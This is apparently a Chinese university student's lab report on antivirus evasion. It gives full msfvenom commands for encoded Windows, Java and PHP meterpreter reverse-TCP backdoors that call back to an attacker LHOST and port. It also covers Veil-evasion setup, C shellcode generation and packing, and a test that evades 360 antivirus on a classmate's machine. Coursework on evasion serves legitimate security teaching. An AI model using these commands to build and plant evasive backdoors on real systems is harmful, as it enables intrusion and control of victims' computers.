2018-2019-2 网络对抗技术 20165115 Exp3 免杀原理与实践
-
- 正确使用msf编码器;使用msfvenom生成jar、php等格式的文件;使用veilvasion;使用shellcode编程等免杀工具或技巧
-
- 通过应用多种技术实现恶意代码的免杀
-
- 使用另一台电脑进行实测,在杀软开启的情况下可以运行并成功回连。注明电脑的杀软名称和版本。
1.免杀原理及基础问题回答
1、杀软是如何检测出恶意代码的?
- 通过对特征码进行检测的方式,对恶意软件的行文进行检测。
2、免杀是做什么?
- 通过修改恶意程序(病毒、木马)的内容改变特征码从而避免杀毒软件的查杀。
3、免杀的基本方法有哪些?
-
针对杀毒软件的三种基本检测方法,我们可以通过下面几种方法来实现免杀:
- 改变特征码
- 改变软件行为
- 其它方法
2.实验内容
2.1 任务一
正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
(1)、正确使用msf文件,生成exe文件
- 这里使用virustotal对实验二中生成的msf后门文件进行扫描。扫描结果如下:
可以看出,不做任何处理的后门程序可以轻易地被大多数杀软检测到。下面我们使用msf编码器对后门程序进行多次的重新编码,并对编码后的文件进行检测。
-
重新编码需要使用命令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.1.132 LPORT=5115 -f exe > 5115encoded10.exe
-
将重新编码的文件上传到VirusTotal进行扫描的结果如下:
-
可见,单纯地重新编码对于免杀并没有太大的效果。我认为原因主要有:
- exe中总是会出现需要进行解码的部分,杀软只需要检测这一部分的代码就可以了;
- 我们是使用msfvenom生成的可执行文件,这就导致了这些文件带有msf的固定模板。由于msf的知名度,各大厂商肯定针对其各种模板进行过特征码的分析。所以成效不大。
(2)、使用msf生成jar文件
-
生成Java后门程序需要使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.132 LPORT=5115 x> 20165115backdoor_java.jar
-
生成PHP后门程序使用的命令是:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.132 LPORT=5115 x> 20165115_backdoor.php
-生成文件如下图所示:
(3)、使用veil-evasion生成后门程序并进行检测
-
首先
sudo apt-get update
更新一下 -
然后就是进行安装了
sudo apt-get install veil-evasion
-
完成之后输入
veil
命令打开veil,确认进行下一步的安装,直到安装结束。其中,在安装wine的时候应该会有一堆乱码的安装指导,就一路回车敲过来就完事了。
-
然后再进入veil界面。如果上一步的安装有没有完成的或者是失败了,你还是会看到那个提醒安装的提示。还是Y键同意,重新安装一遍就行了。如果成功的话应该会进入导航界面
-
输入
use evasion
进入evasion
-
输入
use c/meterpreter/rev_tcp.py
进入配置界面
-
设置反弹IP,注意此处应该是kali的IP
set LHOST 192.168.1.132
-
设置端口
set LPORT 5115
-
使用命令
generate
生成文件,输入文件名即可。文件保存路径会显示在指令当中。
-
对生成的文件进行扫描结果如下:
(4)、半手工注入shellcode
-
首先使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.132 LPORT=5115 -f c
即使用C语言生成一段shellcode代码 -
使用
vim 5115shellcode.c
创建工程文件。这个地方的文件,当我使用博客中普遍使用的加一段代码编译后,在win7虚拟机测试的过程中,开启杀软会被当作木马查杀。但是当我关掉所有的杀软和防火墙后,却不能实现回连。emmmm??不知道发生了什么的我去同学的电脑上做了一下尝试,结果还是失败了。该同学觉得有问题又自己尝试了一下,嗯,他也失败了(@课代表lty同学)。那么,问题出在什么地方呢?只能认为是这个生成c代码的过程有问题。于是我们尝试了另外一种生成c代码的方法。步骤与成功与否会在后面的回连中提到。 -
两种加壳操作。
-
因为这个加壳操作的时候我还对上面那个问题没有解决方法,所以这两个截图中的加壳文件的回连还是失败的。
另外,关于杀软,不得不提什么杀软都是弟弟,WindowsDefender是最NB的。当初为了避免国产的流氓杀软拖累我这个垃圾电脑的速度,我的电脑中一直只使用WD。但这一次,无论我使用什么方法,只要把生成的文件从kali中拖出来绝对瞬间报毒拒绝使用等待处理一气呵成。下图就是为了做测试允许通过的文件数量。并且我也特别留意了一下vt和vs的反馈,基本上Windows都对我做的东西报毒了。嗯,可以说是这个实验最大的收获之一了。
扯远了,回来
2.2 任务二
通过组合应用各种技术实现恶意代码免杀
- 上面也提到过了,基于我出现的问题,采取新的方法进行编程,半手工制作shellcode,虽然添加壳后被发现的概率大了一些,但是在360等国产杀软的环境中做完测试还是绰绰有余的.所以就采取了这两种方法进行免杀。任务成功截图如下:(放的是360扫描日志)
补一个未加壳的文件进行扫描的结果截图,可以看到加壳在某些情况下反而更容易被发现:
2.3 任务三
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
感谢刘天野同学贡献自己的一台电脑给我做测试。IP地址和文件名是因为在新的网络环境里面做的测试,所以可能会和上文中有出入。对方电脑环境为win10,360全家桶(好狠)。
3. 距离实战还缺少什么技术或步骤
-
上文也提到过,瞒过杀软一小段时间还是可以做到的。但是在360的环境下运行一小段时间,大概有个三五分钟的样子,基本上就报错gg了。所以说我们掌握的技术还仅仅是个皮毛,要想真正做出可以瞒过杀软很久、功能强大的恶意软件还需要不断地提升知识水平;
-
另一方面就是恶意程序的传播。这一点上我觉得自己的实战能力为0。现在我使用的方式基本及时:“我给你传个病毒你帮我接收一下做个测试。”嗯,很真实。所以说对于恶意软件的伪装和传播方面还要下很大的功夫。
4. 实验中遇到的问题及解决方法
-
一个大问题上文提到过,解决方法也有提及。就不说这个了。
-
小问题一大堆,总之都解决了。对了,实验过程中virustotal还崩溃过一次。emmmm,行吧。问题不大。所以上面会有一个测试使用viruscan做的。
5. 实践总结与体会
-
首先就是,WindowsDefender niupi !
-
然后就是,虽然技术和手段都在不断地发展进步,但只要掌握了原理,还是可以通过最原始的方式做出一些东西的。不过不能因为有一点成就就沾沾自喜,还是要扎扎实实的不断学习。